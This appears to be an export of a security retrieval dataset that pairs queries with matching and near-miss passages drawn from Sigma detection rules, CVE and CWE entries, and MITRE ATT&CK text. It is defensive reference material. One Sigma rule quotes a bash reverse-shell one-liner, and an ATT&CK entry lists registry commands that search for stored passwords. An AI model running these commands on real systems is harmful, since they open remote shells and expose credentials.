alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: write Sigma for Detects disabling of Windows Defender Real-time Protection. As this event doesn't contain a lot of information on who in
Matching passage: Sigma rule: Detects disabling of Windows Defender Real-time Protection. As this event doesn't contain a lot of information on who in. Logsource: windows / windefend. Rule: title: Windows Defender Real-time Protection Disabled id: b28e58e4-2a72-4fae-bdee-0fbe904db642 related: - id: fe34868f-6e0e-4882-81f6-c43aa8f15b62 type: obsolete status: stable description: 'Detects disabling of Windows Defender Real-time Protection. As this event doesn''t contain a lot of information on who initiated this action you might want to reduce it to a "medium" level if this occurs too many times in your environment ' references: - https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5001 - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md - https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/ author: Ján Trenčanský, frack113 date: 2020-07-28 modified: 2023-11-22 tags: - attack.defense-impairment - attack.t1685 logsource: product: windows service: windefend detection: selection: EventID: 5001 condition: selection falsepositives: - Administrator actions (should be investigated) - Seen being triggered occasionally during Windows 8 Defender Updates level: high
Near-miss passage: Sigma rule: Detects usage of system utilities to discover system network connections. Logsource: macos / process_creation. Rule: title: System Network Connections Discovery - MacOs id: 9a7a0393-2144-4626-9bf1-7c2f5a7321db status: test description: Detects usage of system utilities to discover system network connections references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md author: Daniil Yugoslavskiy, oscd.community date: 2020-10-19 modified: 2022-12-28 tags: - attack.discovery - attack.t1049 logsource: category: process_creation product: macos detection: selection: Image|endswith: - /who - /w - /last - /lsof - /netstat condition: selection falsepositives: - Legitimate activities level: informational
Query: patch priority for CVE-2015-1638
Matching passage: CVE-2015-1638. CWE: CWE-264. CVSS: 5.800000190734863. Microsoft Active Directory Federation Services (AD FS) 3.0 on Windows Server 2012 R2 does not properly handle logoff actions, which allows remote attackers to bypass intended access restrictions by leveraging an unattended workstation, aka "Active Directory Federation Services Information Disclosure Vulnerability."
Near-miss passage: CVE-2015-4225. CWE: CWE-264. CVSS: 4.0. Cisco Application Policy Infrastructure Controller (APIC) 1.0(1.110a) and 1.0(1e) on Nexus 9000 devices does not properly implement RBAC health scoring, which allows remote authenticated users to obtain sensitive information via unspecified vectors, aka Bug ID CSCuq77485.
Query: exploit Cross-site scripting (XSS) vulnerability in the management interface in Cisco Unified MeetingPlace 8.6(1.2) and 8.6(1.9) for Microsoft Outlook allows remote attackers to inject arb
Matching passage: CVE-2015-0762. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in the management interface in Cisco Unified MeetingPlace 8.6(1.2) and 8.6(1.9) for Microsoft Outlook allows remote attackers to inject arbitrary web script or HTML via a crafted value in a URL, aka Bug ID CSCuu51400.
Near-miss passage: CVE-2015-5494. CWE: CWE-79. CVSS: 3.5. Cross-site scripting (XSS) vulnerability in the Webform Matrix Component module 7.x-4.x before 7.x-4.13 for Drupal allows remote authenticated users with certain permissions to inject arbitrary web script or HTML via unspecified vectors.
Query: vulnerability: Open redirect vulnerability in the Services single sign-on server helper (services_sso_server_helper) module for Drupal allows remote attackers to redirect users to arbitrary web s
Matching passage: CVE-2015-2215. CWE: UNKNOWN. CVSS: 5.800000190734863. Open redirect vulnerability in the Services single sign-on server helper (services_sso_server_helper) module for Drupal allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via unspecified parameters.
Near-miss passage: CVE-2015-5550. CWE: UNKNOWN. CVSS: 10.0. Use-after-free vulnerability in Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-5127, CVE-2015-5130, CVE-2015-5134, CVE-2015-5539, CVE-2015-5540, CVE-2015-5551, CVE-2015-5556, CVE-2015-5557, CVE-2015-5559, CVE-2015-5561, CVE-2015-5563, CVE-2015-5564, and CVE-2015-5565.
Query: Sigma YAML for windows / process_creation
Matching passage: Sigma rule: Detects uncommon "conhost" child processes. This could be a sign of "conhost" usage as a LOLBIN or potential process inj. Logsource: windows / process_creation. Rule: title: Uncommon Child Process Of Conhost.EXE id: 7dc2dedd-7603-461a-bc13-15803d132355 related: - id: dfa03a09-8b92-4d83-8e74-f72839b1c407 type: similar status: test description: Detects uncommon "conhost" child processes. This could be a sign of "conhost" usage as a LOLBIN or potential process injection activity. references: - http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/ author: omkar72 date: 2020-10-25 modified: 2023-12-11 tags: - attack.stealth - attack.t1202 logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: \conhost.exe filter_main_conhost: Image|endswith: :\Windows\System32\conhost.exe filter_main_null: Image: null filter_main_empty: Image: '' filter_optional_provider: Provider_Name: SystemTraceProvider-Process condition: selection and not 1 of filter_main_* and not 1 of filter_optional_* falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects the execution of "wmic" with the "process" flag, which might indicate an attempt to perform reconnaissance on ru. Logsource: windows / process_creation. Rule: title: Potential Process Reconnaissance via Wmic.EXE id: 221b251a-357a-49a9-920a-271802777cc0 status: test description: 'Detects the execution of "wmic" with the "process" flag, which might indicate an attempt to perform reconnaissance on running processes. Adversaries may use wmic to query for running processes and their details as part of their reconnaissance efforts. ' references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wmic author: frack113 date: 2022-01-01 modified: 2025-12-15 tags: - attack.execution - attack.t1047 - attack.discovery - attack.t1057 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \WMIC.exe - OriginalFileName: wmic.exe selection_cli: CommandLine|contains: process filter_main_creation: CommandLine|contains|all: - call - create filter_main_terminate: CommandLine|contains|all: - call - terminate condition: all of selection* and not 1 of filter_main_* falsepositives: - Unknown level: medium simulation: - type: atomic-red-team name: WMI Reconnaissance Processes technique: T1047 atomic_guid: 5750aa16-0e59-4410-8b9a-8a47ca2788e2 regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_wmic_recon_process/info.yml
Query: vulnerability: Unspecified vulnerability in the Oracle Agile PLM Framework component in Oracle Supply Chain Products Suite 9.3.3 allows remote attackers to affect confidentiality via unknown vect
Matching passage: CVE-2015-2644. CWE: UNKNOWN. CVSS: 4.300000190734863. Unspecified vulnerability in the Oracle Agile PLM Framework component in Oracle Supply Chain Products Suite 9.3.3 allows remote attackers to affect confidentiality via unknown vectors related to Security.
Near-miss passage: CVE-2015-7210. CWE: UNKNOWN. CVSS: 7.5. Use-after-free vulnerability in Mozilla Firefox before 43.0 and Firefox ESR 38.x before 38.5 allows remote attackers to execute arbitrary code by triggering attempted use of a data channel that has been closed by a WebRTC function.
Query: detection rule: Detects creation of a file named "wpbbin" in the "%systemroot%\system32\" directory. Which could be indicative of UEFI b
Matching passage: Sigma rule: Detects creation of a file named "wpbbin" in the "%systemroot%\system32\" directory. Which could be indicative of UEFI b. Logsource: windows / file_event. Rule: title: UEFI Persistence Via Wpbbin - FileCreation id: e94b9ddc-eec5-4bb8-8a58-b9dc5f4e185f status: test description: Detects creation of a file named "wpbbin" in the "%systemroot%\system32\" directory. Which could be indicative of UEFI based persistence method references: - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c - https://persistence-info.github.io/Data/wpbbin.html author: Nasreddine Bencherchali (Nextron Systems) date: 2022-07-18 tags: - attack.persistence - attack.stealth - attack.t1542.001 logsource: product: windows category: file_event detection: selection: TargetFilename: C:\Windows\System32\wpbbin.exe condition: selection falsepositives: - Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip) level: high
Near-miss passage: Sigma rule: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.. Logsource: linux / network_connection. Rule: title: Linux Reverse Shell Indicator id: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871 status: test description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1') references: - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md author: Florian Roth (Nextron Systems) date: 2021-10-16 modified: 2022-12-25 tags: - attack.execution - attack.t1059.004 logsource: product: linux category: network_connection detection: selection: Image|endswith: /bin/bash filter: DestinationIp: - 127.0.0.1 - 0.0.0.0 condition: selection and not filter falsepositives: - Unknown level: critical
Query: weakness Incorrect Behavior Order: Early Validation
Matching passage: CWE-179 Incorrect Behavior Order: Early Validation. The product validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.
Near-miss passage: CWE-481 Assigning instead of Comparing. The code uses an operator for assignment when the intention was to perform a comparison.
Query: detection rule: Detects the creation of file by the "node.exe" process in the ".vscode-server" directory. Could be a sign of remote file
Matching passage: Sigma rule: Detects the creation of file by the "node.exe" process in the ".vscode-server" directory. Could be a sign of remote file. Logsource: windows / file_event. Rule: title: Visual Studio Code Tunnel Remote File Creation id: 56e05d41-ce99-4ecd-912d-93f019ee0b71 status: test description: 'Detects the creation of file by the "node.exe" process in the ".vscode-server" directory. Could be a sign of remote file creation via VsCode tunnel feature ' references: - Internal Research author: Nasreddine Bencherchali (Nextron Systems) date: 2023-10-25 tags: - attack.command-and-control logsource: category: file_event product: windows detection: selection: Image|contains: \servers\Stable- Image|endswith: \server\node.exe TargetFilename|contains: \.vscode-server\data\User\History\ condition: selection falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects the creation of the LiveKD driver by a process image other than "livekd.exe".. Logsource: windows / file_event. Rule: title: LiveKD Driver Creation By Uncommon Process id: 059c5af9-5131-4d8d-92b2-de4ad6146712 related: - id: 16fe46bb-4f64-46aa-817d-ff7bec4a2352 type: similar status: test description: Detects the creation of the LiveKD driver by a process image other than "livekd.exe". references: - Internal Research author: Nasreddine Bencherchali (Nextron Systems) date: 2023-05-16 tags: - attack.privilege-escalation - attack.stealth logsource: product: windows category: file_event detection: selection: TargetFilename: C:\Windows\System32\drivers\LiveKdD.SYS filter_main_legit_name: Image|endswith: - \livekd.exe - \livek64.exe condition: selection and not 1 of filter_main_* falsepositives: - Administrators might rename LiveKD before its usage which could trigger this. Add additional names you use to the filter level: high
Query: CVE similar to CVE-2015-2025
Matching passage: CVE-2015-2025. CWE: CWE-200. CVSS: 4.300000190734863. IBM WebSphere eXtreme Scale 7.1.0 before 7.1.0.3 and 7.1.1 before 7.1.1.1 does not set the secure flag for the session cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
Near-miss passage: CVE-2015-3711. CWE: CWE-200. CVSS: 4.300000190734863. The NTFS implementation in Apple OS X before 10.10.4 allows attackers to obtain sensitive memory-layout information for the kernel via a crafted app.
Query: describe CVE-2015-5331
Matching passage: CVE-2015-5331. CWE: CWE-254. CVSS: 4.300000190734863. Moodle 2.9.x before 2.9.3 does not properly check the contact list before authorizing message transmission, which allows remote authenticated users to bypass intended access restrictions and conduct spam attacks via the messaging API.
Near-miss passage: CVE-2015-8801. CWE: CWE-254. CVSS: 2.9000000953674316. Race condition in the client in Symantec Endpoint Protection (SEP) 12.1 before RU6 MP5 allows local users to bypass intended restrictions on USB file transfer by conducting filesystem operations before the SEP device manager recognizes a new USB device.
Query: describe CVE-2015-0221
Matching passage: CVE-2015-0221. CWE: CWE-399. CVSS: 5.0. The django.views.static.serve view in Django before 1.4.18, 1.6.x before 1.6.10, and 1.7.x before 1.7.3 reads files an entire line at a time, which allows remote attackers to cause a denial of service (memory consumption) via a long line in a file.
Near-miss passage: CVE-2015-3725. CWE: CWE-399. CVSS: 4.300000190734863. MobileInstallation in Apple iOS before 8.4 does not ensure the uniqueness of Watch bundle IDs, which allows attackers to cause a denial of service (ID collision and Watch launch outage) via a crafted universal provisioning profile app.
Query: CVE similar to CVE-2015-0687
Matching passage: CVE-2015-0687. CWE: CWE-399. CVSS: 6.300000190734863. The SNMP implementation in Cisco IOS 15.1(2)SG4 on Catalyst 4500 devices, when single-switch Virtual Switching System (VSS) is configured, allows remote authenticated users to cause a denial of service (device crash) by performing SNMP polling, aka Bug ID CSCuq04574.
Near-miss passage: CVE-2015-8341. CWE: CWE-399. CVSS: 7.800000190734863. The libxl toolstack library in Xen 4.1.x through 4.6.x does not properly release mappings of files used as kernels and initial ramdisks when managing multiple domains in the same process, which allows attackers to cause a denial of service (memory and disk consumption) by starting domains.
Query: rule covering Detect remote login by Administrator user (depending on internal pattern).
Matching passage: Sigma rule: Detect remote login by Administrator user (depending on internal pattern).. Logsource: windows / security. Rule: title: Admin User Remote Logon id: 0f63e1ef-1eb9-4226-9d54-8927ca08520a status: test description: Detect remote login by Administrator user (depending on internal pattern). references: - https://car.mitre.org/wiki/CAR-2016-04-005 author: juju4 date: 2017-10-29 modified: 2022-10-09 tags: - attack.privilege-escalation - attack.persistence - attack.lateral-movement - attack.initial-access - attack.stealth - attack.t1078.001 - attack.t1078.002 - attack.t1078.003 - car.2016-04-005 logsource: product: windows service: security definition: 'Requirements: Identifiable administrators usernames (pattern or special unique character. ex: "Admin-*"), internal policy mandating use only as secondary account' detection: selection: EventID: 4624 LogonType: 10 AuthenticationPackageName: Negotiate TargetUserName|startswith: Admin condition: selection falsepositives: - Legitimate administrative activity. level: low
Near-miss passage: Sigma rule: Detects creation of files which are the results of executing the built-in reconnaissance script "C:\Windows\System32\gat. Logsource: windows / file_event. Rule: title: GatherNetworkInfo.VBS Reconnaissance Script Output id: f92a6f1e-a512-4a15-9735-da09e78d7273 related: - id: 575dce0c-8139-4e30-9295-1ee75969f7fe type: similar - id: 07aa184a-870d-413d-893a-157f317f6f58 type: similar status: test description: Detects creation of files which are the results of executing the built-in reconnaissance script "C:\Windows\System32\gatherNetworkInfo.vbs". references: - https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs - https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government author: Nasreddine Bencherchali (Nextron Systems) date: 2023-02-08 tags: - attack.discovery logsource: product: windows category: file_event detection: selection: TargetFilename|startswith: C:\Windows\System32\config TargetFilename|endswith: - \Hotfixinfo.txt - \netiostate.txt - \sysportslog.txt - \VmSwitchLog.evtx condition: selection falsepositives: - Unknown level: medium
Query: describe CVE-2015-4593
Matching passage: CVE-2015-4593. CWE: CWE-352. CVSS: 8.800000190734863. eClinicalWorks Population Health (CCMR) suffers from a cross-site request forgery (CSRF) vulnerability in portalUserService.jsp which allows remote attackers to hijack the authentication of content administrators for requests that could lead to the creation, modification and deletion of users, appointments and employees.
Near-miss passage: CVE-2015-4179. CWE: CWE-352. CVSS: 8.800000190734863. Multiple cross-site request forgery (CSRF) vulnerabilities in the Codestyling Localization plugin 1.99.30 and earlier for Wordpress.
Query: exploit The SSLv2 implementation in OpenSSL before 0.9.8zf, 1.0.0 before 1.0.0r, 1.0.1 before 1.0.1m, and 1.0.2 before 1.0.2a allows remote attackers to cause a denial of service (s2_lib.c
Matching passage: CVE-2015-0293. CWE: CWE-20. CVSS: 5.0. The SSLv2 implementation in OpenSSL before 0.9.8zf, 1.0.0 before 1.0.0r, 1.0.1 before 1.0.1m, and 1.0.2 before 1.0.2a allows remote attackers to cause a denial of service (s2_lib.c assertion failure and daemon exit) via a crafted CLIENT-MASTER-KEY message.
Near-miss passage: CVE-2015-0636. CWE: CWE-20. CVSS: 7.800000190734863. The Autonomic Networking Infrastructure (ANI) implementation in Cisco IOS 12.2, 12.4, 15.0, 15.2, 15.3, and 15.4 and IOS XE 3.10.xS through 3.13.xS before 3.13.1S allows remote attackers to cause a denial of service (disrupted domain access) via spoofed AN messages that reset a finite state machine, aka Bug ID CSCup62293.
Query: patch priority for CVE-2015-7307
Matching passage: CVE-2015-7307. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in the CMS Updater module 7.x-1.x before 7.x-1.3 for Drupal allows remote attackers to inject arbitrary web script or HTML via unspecified vectors involving the configuration page.
Near-miss passage: CVE-2015-7391. CWE: CWE-79. CVSS: 6.099999904632568. Multiple cross-site scripting (XSS) vulnerabilities in TestLink before 1.9.14 allow remote attackers to inject arbitrary web script or HTML via the (1) selected_end_date or (2) selected_start_date parameter to lib/results/tcCreatedPerUserOnTestProject.php; the (3) containerType parameter to lib/testcases/containerEdit.php; the (4) filter_tc_id or (5) filter_testcase_name parameter to lib/testcases/listTestCases.php; the (6) useRecursion parameter to lib/testcases/tcImport.php; the (7) targetTestCase or (8) created_by parameter to lib/testcases/tcSearch.php; or the (9) HTTP Referer header to third_party/user_contribution/fakeRemoteExecServer/client4fakeXMLRPCTestRunner.php.
Query: weakness Incomplete Internal State Distinction
Matching passage: CWE-372 Incomplete Internal State Distinction. The product does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner.
Near-miss passage: CWE-248 Uncaught Exception. An exception is thrown from a function, but it is not caught.
Query: vulnerability: The Siemens SPCanywhere application for Android does not use encryption during the loading of code, which allows man-in-the-middle attackers to execute arbitrary code by modifying 
Matching passage: CVE-2015-1597. CWE: CWE-94. CVSS: 6.800000190734863. The Siemens SPCanywhere application for Android does not use encryption during the loading of code, which allows man-in-the-middle attackers to execute arbitrary code by modifying the client-server data stream.
Near-miss passage: CVE-2015-2308. CWE: CWE-94. CVSS: 6.800000190734863. Eval injection vulnerability in the HttpCache class in HttpKernel in Symfony 2.x before 2.3.27, 2.4.x and 2.5.x before 2.5.11, and 2.6.x before 2.6.6 allows remote attackers to execute arbitrary PHP code via a language="php" attribute of a SCRIPT element.
Query: threat report mentioning Credentials in Registry
Matching passage: T1552.002 Credentials in Registry. Tactics: credential access. Description: Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons. Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials) * Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code> * Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>
Near-miss passage: T1552.007 Container API. Tactics: credential access. Description: Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API) An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.